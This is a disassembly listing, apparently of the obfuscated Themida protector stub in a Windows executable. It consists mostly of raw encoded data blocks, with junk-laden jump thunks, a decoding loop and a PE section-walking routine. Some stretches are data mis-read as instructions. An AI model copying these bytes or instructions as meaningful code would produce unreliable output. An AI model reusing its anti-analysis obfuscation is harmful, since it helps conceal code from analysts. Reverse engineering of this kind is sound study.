dd 44810424h, 150424h, 50400000h, 83772FC3h, 0A80A99BDh
dd 850F0006h, 0Eh, 0D1FAB966h, 177E9h, 0D2816600h, 0BF1392h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 0F37FC351h, 74061455h, 60740D47h
dd 8E9h, 35A7D900h, 0E389D4C3h, 9D8D61D5h, 6AB342Bh, 38BE6650h
dd 241C8919h, 0CF29BA66h, 35FF64h, 0E9000000h, 5, 750E44Eh
dd 8A0F52F0h, 4, 0B903BA66h, 2589645Ah, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_57CDA3
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57CDA3 proc near ; CODE XREF: Themida_:0057CD9Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_57CDA3 endp
; ---------------------------------------------------------------------------
db 0E4h
dd 12FE3A0Ah, 0D3BE5D19h, 6006D178h, 0D1BF0F60h, 61616160h
dd 0CDF5C48Bh, 8000EB01h, 0F521CDDh, 686h, 8A0F00h, 5E000000h
dd 58F64h, 0F000000h, 0C483D0BFh, 0FC00B04h, 0A784h, 0B70F6100h
dd 20BD8DC8h, 6A06A871h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 0FA38C353h, 8A0F26CAh
dd 0Bh, 0C28B6660h, 7593C981h, 0B8613206h, 1, 0B2E7FFh
dd 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h
dd 83000000h, 0B883h, 335F0200h, 6AC3C0h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 8F7835C3h
dd 6AD08B66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 16042444h, 41000000h, 0E807C351h, 0CF8B667Ah, 51006A61h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 0D30E9EABh, 0F896D8C9h, 6AC08BA8h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 439DC357h
dd 0C7487FCFh, 0E4B8D3CFh, 1ED9BD83h, 750006A8h, 0E9BD8309h
dd 6A82Dh, 53501974h, 0EB8C08Bh, 89000004h, 0A80FD585h
dd 139D8D06h, 0FF06AAA2h, 83585BD3h, 0A82DE9BDh, 17740006h
dd 0EB85350h, 89000004h, 0A80FD585h, 0B49D8D06h, 0FF06AA9Eh
dd 66585BD3h, 0E81DC181h, 0E9D38B66h, 0Ah, 0CB82BFEh, 0D1840DEh
dd 880F530Fh, 10h, 0BE9h, 8CDD9F00h, 0ED17021Fh, 65D3AA5Ah
dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 5E8023C3h, 6009E2DEh, 3E9FBE66h, 4820Fh
dd 0BF660000h, 8B6159F1h, 7E8C2h, 0E8880000h, 0D531D0B5h
dd 59C18B2Bh, 616DB260h, 5A25C181h, 0E9600000h, 9, 0B706692Ch
dd 0F1A20792h, 0F4B960A9h, 0E8703B6Fh, 8, 1929D16Eh, 0E94D6B3Ah
dd 6861615Eh, 0
; ---------------------------------------------------------------------------
xor eax, 46281EA6h
pop edx
ja loc_57CFEB
or esi, 4874D3A3h
loc_57CFEB: ; CODE XREF: Themida_:0057CFDFj
; Themida_:0057D03Fj
mov ebx, [ecx+edx]
sbb si, 997Ah
sub ebx, 58A455CDh
mov di, 0A1E7h
xor ebx, 433FD454h
mov ax, 0AA29h
add ebx, 158E451h
mov esi, edi
push ebx
mov ax, 0DA27h
pop dword ptr [ecx+edx]
mov edi, 51004DE1h
jge loc_57D027
sbb ax, 5E21h
loc_57D027: ; CODE XREF: Themida_:0057D01Cj
sub edx, 4DD2EF9Fh
xor eax, 55B0F790h
add edx, 4DD2EF9Bh
cmp edx, 0FFFFA684h
jnz loc_57CFEB
mov eax, ebx
jmp short loc_57D051
; ---------------------------------------------------------------------------
align 4
dd 0
db 0
; ---------------------------------------------------------------------------
loc_57D051: ; CODE XREF: Themida_:0057D047j
jmp loc_57D0D1
; ---------------------------------------------------------------------------
dw 5260h
dd 244C010Fh, 0C2835AFEh, 9D858B24h, 8D06A833h, 0AB82B385h
dd 8B088B06h, 100088h, 660A8B00h, 89FC4A8Bh, 0AB36408Dh
dd 99BD8306h, 6A80Ah, 0F840Fh, 6A600000h, 3195FF00h, 6106A81Bh
dd 0FFFFC4E9h, 728966FFh, 10CEC1FCh, 2728966h, 5A04CD52h
dd 363C8589h, 0B58B06ABh, 6AB3640h, 6610CEC1h, 8B027289h
dd 0AB3640B5h, 72896606h, 858B61FCh, 6AB363Ch
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_57D0D1: ; CODE XREF: Themida_:loc_57D051j
lea edx, [ebp+6A81805h]
mov [ebp+6A832A1h], edx
mov [ebp+6A80D19h], edx
inc dword ptr [ebp+6A80D19h]
mov byte ptr [ebp+6A815D5h], 53h
push 0FCB148D8h
push dword ptr [ebp+6A831F9h]
lea eax, [ebp+6A83AC3h]
call eax
mov [ebp+6A81B31h], eax
lea eax, [ebp+6AB2EF3h]
mov [ebp+6A80F89h], eax
jmp short loc_57D137
; ---------------------------------------------------------------------------
align 4
dd 7 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_57D137: ; CODE XREF: Themida_:0057D115j
jmp loc_57D63D
; ---------------------------------------------------------------------------
jmp loc_57D636
; ---------------------------------------------------------------------------
push 6AB3898h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB392Eh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB3AD9h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB3B3Eh
jmp loc_5517CE
; ---------------------------------------------------------------------------
mov ds:0D679CD84h, eax
mov ecx, 6305AEFCh
sub bl, [ebx+esi+63CC5A1Fh]
retn 3B8Fh
; ---------------------------------------------------------------------------
db 0BCh, 0FDh, 15h
dd 42ED3974h, 76D96D20h, 0A80B9FD6h, 0EE7ECC85h, 0DCECA7Ch
dd 76B4B603h, 1059FFC9h, 0D74B4B93h, 8C672F57h, 0D93B1723h
dd 33C292DFh, 0A4000000h, 0E5CCCC7Eh, 9DB62F57h, 5FA6101Bh
dd 5CAF57D7h, 79A743F8h, 1635F896h, 0E0D9D25Fh, 0E9CBE48h
dd 0CD66B603h, 0D994B619h, 6FD54354h, 1DE4h, 5EA6C700h
dd 5DAF57D7h, 5BEBA5FFh, 0EBF0D46Bh, 30290247h, 345A708Ah
dd 0F28B603h, 59FF9CBBh, 0C4BDF498h, 0D7969F5Fh, 89E22F57h
dd 0AF072128h, 865AF41Ch, 0EE3C1578h, 0A5C6E15Dh, 28753C60h
dd 0F92D06FFh, 5885474Fh, 8D123D2Fh, 82387114h, 321A4448h
dd 51C7A038h, 47FC50EBh, 80BA19A3h, 2AAC3600h, 0DD6727F7h
dd 123C7C38h, 0C06EF439h, 0B58286h, 0E6226436h, 0DC3600B4h
dd 50D87373h, 0B58E96h, 0E0412A36h, 770CE6D2h, 0A9C62994h
dd 0FCB747ECh, 38A27A09h, 22D05831h, 5Bh, 3559BA05h, 0CD6F3870h
dd 37365076h, 0DB6030Dh, 781B8422h, 2B4AF531h, 0C36E4662h
dd 8122F324h, 2DE00h, 89C06700h, 0B8FD923Dh, 0EEA7C162h
dd 1E5BF758h, 4B062788h, 0D14170FFh, 6A9FDB0h, 329D2964h
dd 64CF5B12h, 0AA3288C1h, 0F1216B0h, 0AAF0B603h, 2A9DF8Dh
dd 0FFFA0000h, 4B931059h, 0AF57D74Bh, 57D78501h, 0D0115BAFh
dd 251E8E45h, 0ACED7BBDh, 0AEAF58C7h, 0AF58C866h, 58C82064h
dd 0BDDDC6AFh, 15B7B3F0h, 0AF58C815h, 0CD6B44EFh, 58C7FB3Bh
dd 0A71CB06Fh, 0B474F903h, 0E54E7603h, 0E65DFFB8h, 0CF3F86C0h
dd 0A2057CABh, 28D0C98Ch, 2C7C01D6h, 488C75B6h, 0D1000002h
dd 8ABFFB6h, 37982E6Bh, 61C25811h, 913288CDh, 0E269BDF0h
dd 6F2243CFh, 9BD678DBh, 0C980A40Fh, 0FAB3D27Dh, 982238ACh
dd 0B60310A0h, 0FFFF2462h, 7302F45Ch, 8144F270h, 0B1DF0BA8h
dd 58A81317h, 0D246F1AFh, 68BDE755h, 0E2B61618h, 0CBE6C45h
dd 0B6034212h, 38708AF0h, 0AB60342h, 51F24821h, 1D58F637h
dd 226F0F90h, 69CA5049h, 0F9314BCFh, 0CBB60341h, 3C2A7760h
dd 5D9C1DBAh, 6DCBA22Ch, 25C17ADAh, 0AE82B5E3h, 2448ABBCh
dd 0E01AC06Dh, 0BCAE82A8h, 50D8B19Ah, 0DB0185AEh, 0A493B691h
dd 8437D047h, 2ADB1382h, 996FC936h, 0BCAEB79Dh, 0E105BE1Eh
dd 59EE6DA7h, 0CEFC57C3h, 521F3FA0h, 923A59C6h, 41E1B871h
dd 0A3E7D026h, 733A5A45h, 0D0B5A27Bh, 9C1CDC7Dh, 0F4397013h
dd 5A114272h, 60DB79C3h, 482600BAh, 331CCA05h, 40092C97h
dd 0B018509Ah, 0A4AEB646h, 7A742CE5h, 0E4345DA5h, 304AF01Eh
dd 0CA058FF8h, 7C78AABh, 66CB8EA4h, 53DC5C35h, 32347930h
dd 0CA059002h, 7AA01BB9h, 1C55F3DCh, 0C75C4A9Ch, 0E402D0B0h
dd 0B0C766A2h, 0A5F35CD0h, 0A90AB09Bh, 0DC47C38Ah, 0EAB3F0B9h
dd 0AFD5F14Ah, 193B592Dh, 7DBBBB1Ch, 5B68D1EBh, 1B98B3D7h
dd 940E4CFh, 7D1273A4h, 2E76F038h, 4AD75B69h, 463240E1h
dd 0A13ADC44h, 0Ch, 0F45EA67Ah, 765AF57h, 40000000h, 57F15EA6h
dd 0B5E7C1AFh, 70AED80Eh, 52B6030Eh, 41F3B4F9h, 4FBACCFAh
dd 11BCAB38h, 52C68FAEh, 736583ACh, 7DEC7C98h, 9DC5BEh
dd 3260000h, 3E53FC4Ah, 0E4842F7Bh, 98B619ADh, 45E649DDh
dd 8435B208h, 1AA0ED8Eh, 56D499B9h, 80064FEDh, 0F1357C1Fh
dd 5555F775h, 2FB60311h, 0B5E742E9h, 70AED80Eh, 52B6030Eh
dd 41F3B4F9h, 0CFBACCFAh, 91BCAB1Dh, 1DD9D16Bh, 80ABBCABh
dd 4680E628h, 0BCAB1E42h, 8A3E1700h, 0EC7CB218h, 380AFB38h
dd 0C1000000h, 0F85BEFA6h, 27881E5Bh, 51F24801h, 8122783Dh
dd 9219ADE0h, 5F1233DFh, 8BC668CBh, 0B9F0943Fh, 0EAA3C26Dh
dd 0E812C85Ch, 0B60311B0h, 0DFEF5492h, 3, 0FFCBB0FAh, 138C1158h
dd 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h
dd 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 81E38953h, 4C3h
dd 4EB8300h, 8B241C87h, 63682424h, 89000002h, 89532434h
dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 240C895Ch, 9A26850h
dd 48B024Fh, 4C48124h, 48000000h, 0E43EFD35h, 58C68904h
dd 240C8B54h, 4C481h, 89520000h, 348152F2h, 1D15DD24h
dd 8418F26h, 0DD087181h, 5A261D15h, 592434FFh, 4C481h
dd 348B0000h, 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h
dd 0FD4199E9h
db 0FFh, 72h
; ---------------------------------------------------------------------------
loc_57D636: ; CODE XREF: Themida_:0057D13Cj
mov eax, 6AB3B9Bh
add eax, ebp
loc_57D63D: ; CODE XREF: Themida_:loc_57D137j
mov ecx, eax
jmp loc_57D695
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+24h]
add esi, [esi+3Ch]
mov edi, [esp+28h]
mov edx, esi
add edx, 0F8h
mov cx, [esi+6]
movzx ecx, cx
loc_57D65F: ; CODE XREF: Themida_:0057D68Aj
cmp ecx, 0
jz loc_57D67E
cmp edi, [edx+0Ch]
jg loc_57D686
sub edx, 28h
mov eax, [edx+0Ch]
mov ecx, [edx+14h]
sub eax, ecx
sub edi, eax
loc_57D67E: ; CODE XREF: Themida_:0057D662j
; Themida_:0057D690j
mov [esp+1Ch], edi
popa
retn 8
; ---------------------------------------------------------------------------
loc_57D686: ; CODE XREF: Themida_:0057D66Bj
add edx, 28h
dec ecx
jnz loc_57D65F
jmp loc_57D67E
; ---------------------------------------------------------------------------
loc_57D695: ; CODE XREF: Themida_:0057D63Fj
mov edx, 9FD3Eh
jmp short $+2
jmp loc_57DC74
; ---------------------------------------------------------------------------
jmp loc_57DC6D
; ---------------------------------------------------------------------------
push 6AB3D7Dh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB3E73h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB3F12h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB3FDAh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB40E6h
jmp loc_5517CE
; ---------------------------------------------------------------------------
dd 0CE5C1534h, 398DC865h, 6FBBF296h, 5FEBAEC4h, 881E53F4h
dd 83A46E03h, 0B7D778CEh, 6103ACFAh, 12319228h, 8D5FCF5Bh
dd 3133F7Bh, 58C705B6h, 0F83559BAh, 86971C55h, 811700ADh
dd 57D73F47h, 0D6FD3DAFh, 45E3AF57h, 57D70703h, 0C652FDAFh
dd 57D70700h, 0D6C1C5AFh, 7CBBAF57h, 7EAF57D7h, 2F57D736h
dd 0EEABC728h, 47C06841h, 0EB86ED5h, 35FFF33Bh, 17F82E09h
dd 4218DD75h, 1E97246h, 13319228h, 4FDB0D2h, 5BE1E9Fh
dd 1F20A7E1h, 98C63CA8h, 0A81F2A6Eh, 48F2183Ch, 3CA81F50h
dd 88201932h, 7C3BED46h, 26C7FB7h, 41920A1h, 0E7820000h
dd 9AB718AEh, 40E84BDFh, 7C12BD09h, 2142ED39h, 2051DE6Ch
dd 8E1C51F2h, 0F2480525h, 2C7A3351h, 1DA9E083h, 0F1295389h
dd 0D3B60313h, 5CFFAE95h, 474E8815h, 0D5AF57D7h, 7593DD46h
dd 57D6D7D3h, 1682ADAFh, 67A3EA89h, 53D099BCh, 0B5FAB3D2h
dd 94D859F2h, 0DF440D2Bh, 0A6C56ACEh, 7F35BEFh, 0E612DFD6h
dd 38Ah, 155CFF39h, 92345288h, 0AF57D796h, 9355C36Ch, 0AF57D794h
dd 80A40F6Bh, 9ABB64C9h, 78514AD7h, 0D3DA5B30h, 39ADF9B0h
dd 0D7A19923h, 0C863AF57h, 0DD90B112h, 1187CA6Ch, 0D753F1B2h
dd 57D775B5h, 9F294FAFh, 0AF57D79Bh, 31D5CE69h, 57D79397h
dd 0EDC671AFh, 1E57F659h, 1DA60891h, 4E072689h, 531E40E1h
dd 0D6F135D7h, 90B2AF57h, 65D750DDh, 0A1C728DEh, 0C6524BE8h
dd 0E3A7EA1Ch, 0B29DB5FFh, 27F24B16h, 9D6645F3h, 323h
dd 66A4ED8Ch, 51D590BDh, 87034AEEh, 0F733761Ch, 20662B4Ch
dd 5BFC165Bh, 0F2F9016h, 395BC442h, 0EA892A70h, 658767A3h
dd 314E723h, 0B09FDDB6h, 33FB30BAh, 0A03A7312h, 4D79A1DAh
dd 584BFF3Bh, 0CE6AC5AFh, 268BC261h, 0A97DE7Dh, 1A3CF999h
dd 0AFF4BDDFh, 1EAC857Eh, 584BE8ECh, 5CA2E2AFh, 6101AF58h
dd 3D5B872Ch, 585C8F8Bh, 5EDA75AFh, 585C8C88h, 0D37152AFh
dd 721577Bh, 6B4401B5h, 2B212B93h, 0BFF9B15Ah, 0CBFF44E8h
dd 643EB1h, 0FD2B04B6h, 0F32771AEh, 845233F0h, 0ED000002h
dd 1C87034Ah, 4BF43277h, 7D26642Dh, 0AD1694D1h, 0FE45C18Ch
dd 7B3657BBh, 0AFE2842Fh, 0DD94B81Bh, 0E47E649h, 8C3E2CB8h
dd 0B603168Ch, 0FF0B3076h, 5288155Ch, 169BD271h, 690C9305h
dd 973C8320h, 2D64070Eh, 0D6413D99h, 0FA412DFh, 7F000002h
dd 57D75EA6h, 6E2745AFh, 7DD577D8h, 13AC57AEh, 4EB2430Dh
dd 0D9C38941h, 0B3F0B5DAh, 72A8817Ah, 1476B2D4h, 0E34CAF58h
dd 0E208D6B5h, 58146058h, 0AF0922AFh, 0F1155C00h, 13F9314Bh
dd 60CBAF58h, 0A9CA5BC8h, 46E6BFE4h, 0BF14A20Fh, 0B31867F6h
dd 49EBF2h, 0EB2612BAh, 48C112DFh, 5A000000h, 0D80EB5E7h
dd 0FFE3D7AEh, 6682ADB5h, 0F327F20Fh, 0BCA12281h, 25000001h
dd 54FF4B02h, 832C7A3Fh, 0B51EACE5h, 0E54EDC99h, 36BD0944h
dd 0A3EE8F83h, 0D79ABC67h, 54CF053h, 367F1E81h, 54F674F0h
dd 0B6031654h, 0C443E82Eh, 0D7ACE426h, 38B2AF57h, 0D7403A12h
dd 0C326696h, 725FE23h, 0B112F84Eh, 4455DA93h, 61284BD4h
dd 0ADDB7B3Ch, 0A56D2042h, 0AF585765h, 9555103Eh, 0DA45C1BAh
dd 0CB7F3BAh, 22832069h, 56F94D00h, 29337934h, 58579B9Fh
dd 61CE69AFh, 0EA1C98C0h, 0AF5856AEh, 44C2BB94h, 0DF194FC3h
dd 7082C0D4h, 0C3C70F54h, 81AF5898h, 0CAE58C77h, 0FFE87149h
dd 60089906h, 0D4CD80A1h, 7C70B456h, 892BAF58h, 0B729432h
dd 0F9B600A9h, 2A47A85Eh, 3058BB6Fh, 0B5E33479h, 8ACF64CFh
dd 94071A5Ch, 3E47477h, 60C88DA2h, 0DA7C6783h, 0A0F2B276h
dd 0ECC54A36h, 841E34Ch, 1558FAABh, 38711788h, 398232FBh
dd 0D34C7B8Dh, 0B112BCA8h, 425BD89Dh, 0D90F28D6h, 0EC7F0376h
dd 0B0CABB78h, 19000000h, 50F3377Eh, 7F206623h, 0A90A90D9h
dd 0D97AC085h, 2AB1F5B8h, 0A7EA8B87h, 0D39EC063h, 148EC57h
dd 327B1A85h, 50EA70F4h, 0B6031758h, 0BA47EC2Ah, 54532630h
dd 48E0F351h, 0A00D44E7h, 0AED85CFFh, 0AF57FA6Ah, 0C5E7FF58h
dd 0ED5DB5F5h, 1B9E03FCh, 44AFF1B2h, 0D3C46920h, 0F2BBDA45h
dd 247EBD4h, 0DDC62C96h, 7BACF1BCh, 0FF8D793Dh, 176812DFh
dd 72000000h, 75BAF391h, 0A6AFF424h, 0AF57D75Fh, 0D2682144h
dd 1D51h, 1CBA7400h, 0D75454F6h, 52EAF57h, 57D6BDFDh, 0CAC87AFh
dd 57D6BAFAh, 34AE9AFh, 0DBE09887h, 257h, 0FFC2B900h, 138C1158h
dd 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h
dd 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 5E08950h, 4, 4BD55h
dd 0E8290000h, 2404875Dh, 0E389535Ch, 4C381h, 0EB810000h
dd 4, 5C241C87h, 52243489h, 0C281E289h, 4, 4EA81h, 14870000h
dd 2C895C24h, 0CBB95124h, 5106AB3Ch, 0EC81595Eh, 4, 81242489h
dd 42404h, 515D0000h, 8B9h, 56E90100h, 55240481h, 8F222131h
dd 55298101h, 59222131h, 5D2434FFh, 4C481h, 348B0000h
dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 0FD3B6DE9h
dd 8B8C29FFh, 0ADE767Bh, 0D54497FCh
db 0C0h
; ---------------------------------------------------------------------------
loc_57DC6D: ; CODE XREF: Themida_:0057D6A1j
mov eax, 6AB41BBh
add eax, ebp
loc_57DC74: ; CODE XREF: Themida_:0057D69Cj
mov edx, ecx
jmp loc_57DDDE
; ---------------------------------------------------------------------------
db 81h
dd 0E7703061h, 93DA95ECh, 0DF067158h, 0FDBEB6CFh, 36365D54h
dd 0BCECA4h, 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h
dd 325277CBh, 9CACACh, 0FC6C46BFh, 597390ADh, 75D6A336h
dd 0BD9C72E2h, 93DD0090h, 0A79B8CE6h, 0DD64A592h, 9792A7ABh
dd 0FC7A918Fh, 96B9F95Ch, 0B59BB1E4h, 0B69F47E4h, 94B6E592h
dd 0B59EBDF6h, 0EC96B3EBh, 999C93D0h, 0FD7B97BFh, 9389F55Ch
dd 0EDAFF4h, 0A6E3B2CDh, 0B5D4E594h, 445700C3h, 0B0F3622Dh
dd 3CAE29h, 440000h, 6C0000h, 2 dup(0)
dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h
dd 2Ah dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_57DDDE: ; CODE XREF: Themida_:0057DC76j
jmp loc_57FDDA
; ---------------------------------------------------------------------------
push 6AB45E0h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB46CAh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB4792h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB4876h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB4935h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB4A31h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB4B1Ah
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB4BCBh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB4FF8h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB506Eh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB5147h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB544Ch
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB575Bh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB5AE9h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB5C3Bh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB5CBEh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB5D1Fh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB5D6Ah
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB5F43h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB6044h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AB624Ch
jmp loc_5517CE
; ---------------------------------------------------------------------------
push edi
xor [ecx+2Dh], bh
sub ch, 0A8h
adc dh, [ecx-18B72169h]
dec ebx
push cs
mov eax, 0EF3B7617h
pusha
push ecx
shl dword ptr [eax+54F659EDh], 19h
lea esp, [edx]
add cl, [ebx-1]
push esp
xor [eax+22h], edi
mov edx, 1B2266A0h
add esi, [esi-822520h]
pop esp
adc eax, 0F4185288h
xor [edx+34h], ah
inc edx
and ch, cl
sub ebp, [ecx+41h]
retf 0E7D0h
; ---------------------------------------------------------------------------
dd 64FEEB1h, 0E80D96E0h, 9186024Dh, 0AA0ABD07h, 644FF511h
dd 8218EC3h, 6770A8D2h, 0F952AF58h, 8646A9BFh, 0B718B600h
dd 4556DB96h, 9D022DD3h, 86595Dh, 159E75B6h, 45872D4Bh
dd 0B6008645h, 0AEEA143Fh, 94B60085h, 0D25F1233h, 0EC48E0D9h
dd 14777DF0h, 3A17h, 0B5E72800h, 4FAED80Eh, 11B60005h
dd 51C78EAEh, 21680CAFh, 2363EB48h, 0BFB60005h, 534F4BD4h
dd 921477F8h, 10D6D274h, 7E88B600h, 0B600113Ah, 74DF2F08h
dd 9C1624h, 0FF290000h, 1788155Ch, 2DF63B76h, 49DA470Eh
dd 2527632Ah, 0AF57DB24h, 1195DC7Fh, 20C68FAEh, 0DB4840FAh
dd 113AAF57h, 31632487h, 9F2A5C8Ah, 65B5FFE2h, 93B31CCAh
dd 0D05851DEh, 0D863D16Ah, 1728422h, 0FE3D716Dh, 368A5CDCh
dd 0CBCAA91h, 7B1C8723h, 2E4FF036h, 4BD14563h, 0E0C3EC7Dh
dd 1D2B1Fh, 31781F00h, 60254AF5h, 96DF79DAh, 0C683AF10h
dd 0F3BEDF40h, 898928B7h, 0BE61A5E8h, 0EA55D19Ch, 1C87034Ah
dd 72EA3079h, 1C5A5EE8h, 0E228B603h, 135EFF45h, 40092C97h
dd 0B5E7DDFAh, 4FAED80Eh, 35B60005h, 446EC1Ah, 0B6000504h
dd 34B6F39Fh, 5D5DEF1Bh, 27B60005h, 3F3FAC0Ch, 0B60004F7h
dd 0C6664993h, 0F1B2298Fh, 77F8F5E1h, 0B21014h, 0FF2B0000h
dd 1788155Ch, 0DF92B376h, 0C3605952h, 982ED527h, 943E052Ch
dd 0B305C204h, 0FF9EAF58h, 60EA10B6h, 0FE1FEB5Fh, 35759DB5h
dd 7AF5837h, 93C88E8Ah, 77A02288h, 55F85B21h, 0A616971Ch
dd 0C5FE91Dh, 0F6B6006Dh, 0FF8B5D5h, 17AC00BBh, 0BE849F3h
dd 90DABCABh, 269598E5h, 0CACE788Eh, 0B8BCAB5Eh, 19CDA69Fh
dd 42D895B6h, 0DB0D40E1h, 0EC7C7E55h, 41E7585Bh, 3500001Ch
dd 64CF5B12h, 933C8ACFh, 0C56EBCF5h, 0F55EECA9h, 68D1954h
dd 0B3FE9F73h, 0E7AACC77h, 155C00A3h, 460F2E91h, 448664C0h
dd 0B6031D44h, 0FF53F83Eh, 2C97135Eh, 0DDFA4009h, 1B8F30BAh
dd 0C0BA31CFh, 0EDA4C768h, 7DBCDF40h, 1E0F94D1h, 215B8125h
dd 0AF5832E9h, 523870DBh, 6FCD2A0Fh, 32ABEF19h, 0BE99AF58h
dd 74E721C5h, 4EB60049h, 3D4583E5h, 7E728EB8h, 540EDDEh
dd 2A7CFE2Ch, 0C33D2826h, 74965CDCh, 79365C29h, 2AF3301Bh
dd 4395318Ah, 8C414C11h, 678D2B36h, 0DEF1A425h, 11B59E7Fh
dd 0F25951EBh, 3C237FDEh, 552D3A69h, 0FB993ACCh, 955FD9B2h
dd 0C4420B2Ah, 5771385Bh, 294844C3h, 7915EECDh, 6D00001Bh
dd 9C0783CAh, 0CB74B2F7h, 0FDA6E4ADh, 2D961451h, 7EC5410Ch
dd 0FBB6D73Bh, 2F6204AFh, 5D14389Bh, 8EC766C9h, 0CBEAC38h
dd 0B6031E0Ch, 0BA8BB0F6h, 9E3DA1Ch, 37E9A893h, 58048B8Fh
dd 5ADE79AFh, 0B2FFB6D5h, 0CAF04BE9h, 692043ACh, 8345D3C4h
dd 0B6001F44h, 379FB91Ah, 8A400A12h, 0F3302926h, 67D07EBAh
dd 0D5B3C523h, 0BC4A8554h, 3F1E4FE9h, 23C77CD0h, 0ED2D5F85h
dd 0D7B60030h, 0BF2A3C7Ch, 85BCA846h, 2B943EAAh, 1EE84009h
dd 8459A59Dh, 0E105BE1Eh, 1D758A7h, 9C012A8Bh, 0E402B91Bh
dd 0D70C0CBEh, 5DF68B01h, 8EB11DBh, 0A8812E6Bh, 1181C600h
dd 0E84391AAh, 0FBB2D132h, 294CB7BDh, 0EA1CBA60h, 91AA10AEh
dd 111216B0h, 47F091AAh, 860CAC87h, 91377E1Dh, 177DCB83h
dd 95AD1695h, 8900001Ah, 0C063A7EEh, 0EF50D693h, 19BA0049h
dd 49EA3075h, 5A216528h, 175AFB17h, 430E3093h, 71385CC7h
dd 0A2EB8A35h, 205A8064h, 0B6031EE8h, 0FFB79CDAh, 0F88155Ch
dd 56F016ADh, 0B5FFE44Bh, 1793B21Dh, 0FFE3B5F5h, 0CBA48FB5h
dd 3288A36Dh, 74AEBD4h, 7617819Ah, 8E3567A6h, 0F9BB2E58h
dd 42ADBCA7h, 7C96F26h, 3650FE2Ch, 0BCA7F9F2h, 693167D0h
dd 50B2A95Fh, 9B2E259h, 0E564ABDDh, 0DC7A5FF8h, 11D1619Ah
dd 6EA81E09h, 5FF9CF2Ah, 0DD94B718h, 0CA6E4750h, 5862B04h
dd 4CFE2C97h, 66A20A0Bh, 47A85EF9h, 76D96D24h, 0F12953D7h
dd 0D366A209h, 0C5598F78h, 0C74285D2h, 19D61BE4h, 0AFCA0000h
dd 52FFA0E6h, 8309317h, 345AC541h, 0E98A3571h, 0D89966A4h
dd 0D654193Ah, 3A80CD6Dh, 74B2FB99h, 0A5E1A8CBh, 0A9E11BC1h
dd 9BB6031Fh, 5CFFF65Dh, 0AD0F8815h, 4AF016h, 0E18F43CFh
dd 13C91C1h, 7F2103DBh, 6DCFCB7Dh, 9AB5AF58h, 7EF177A1h
dd 44B60095h, 0BB15FEBh, 67CC85A8h, 958C8C36h, 5576B600h
dd 14847D38h, 36669F75h, 0D033598Dh, 6FB8E5ACh, 0AACC3FC9h
dd 5892BCA8h, 8C276837h, 0C881A360h, 0DF59326Bh, 64A20631h
dd 0B9EB420Ah, 77F89ADCh, 19F50266h, 0BEEF3479h, 60D453C5h
dd 0A4C42FDBh, 67A14BEDh, 0C0932A18h, 0F46E5CEh, 0E12F89A2h
dd 32F9036h, 68C0D946h, 0F48232FBh, 0FA276A0Bh, 2A2119A1h
dd 48E3C093h, 0A20DAB5Fh, 3566CB82h, 64E465E3h, 75DEC73Bh
dd 86CF6E51h, 0ABCDA00h, 0C73B650Eh, 52DD5BF4h, 9A4E7A33h
dd 26E1EC78h, 18DA3C85h, 0ABCE0000h, 56FBA4E2h, 0C2C9713h
dd 305EC145h, 0ED8E3175h, 0DC9D1AA0h, 0C2581536h, 3E8CC161h
dd 68BEF795h, 59EDA4C7h, 0ADED1FCDh, 97B60320h, 30BAEA51h
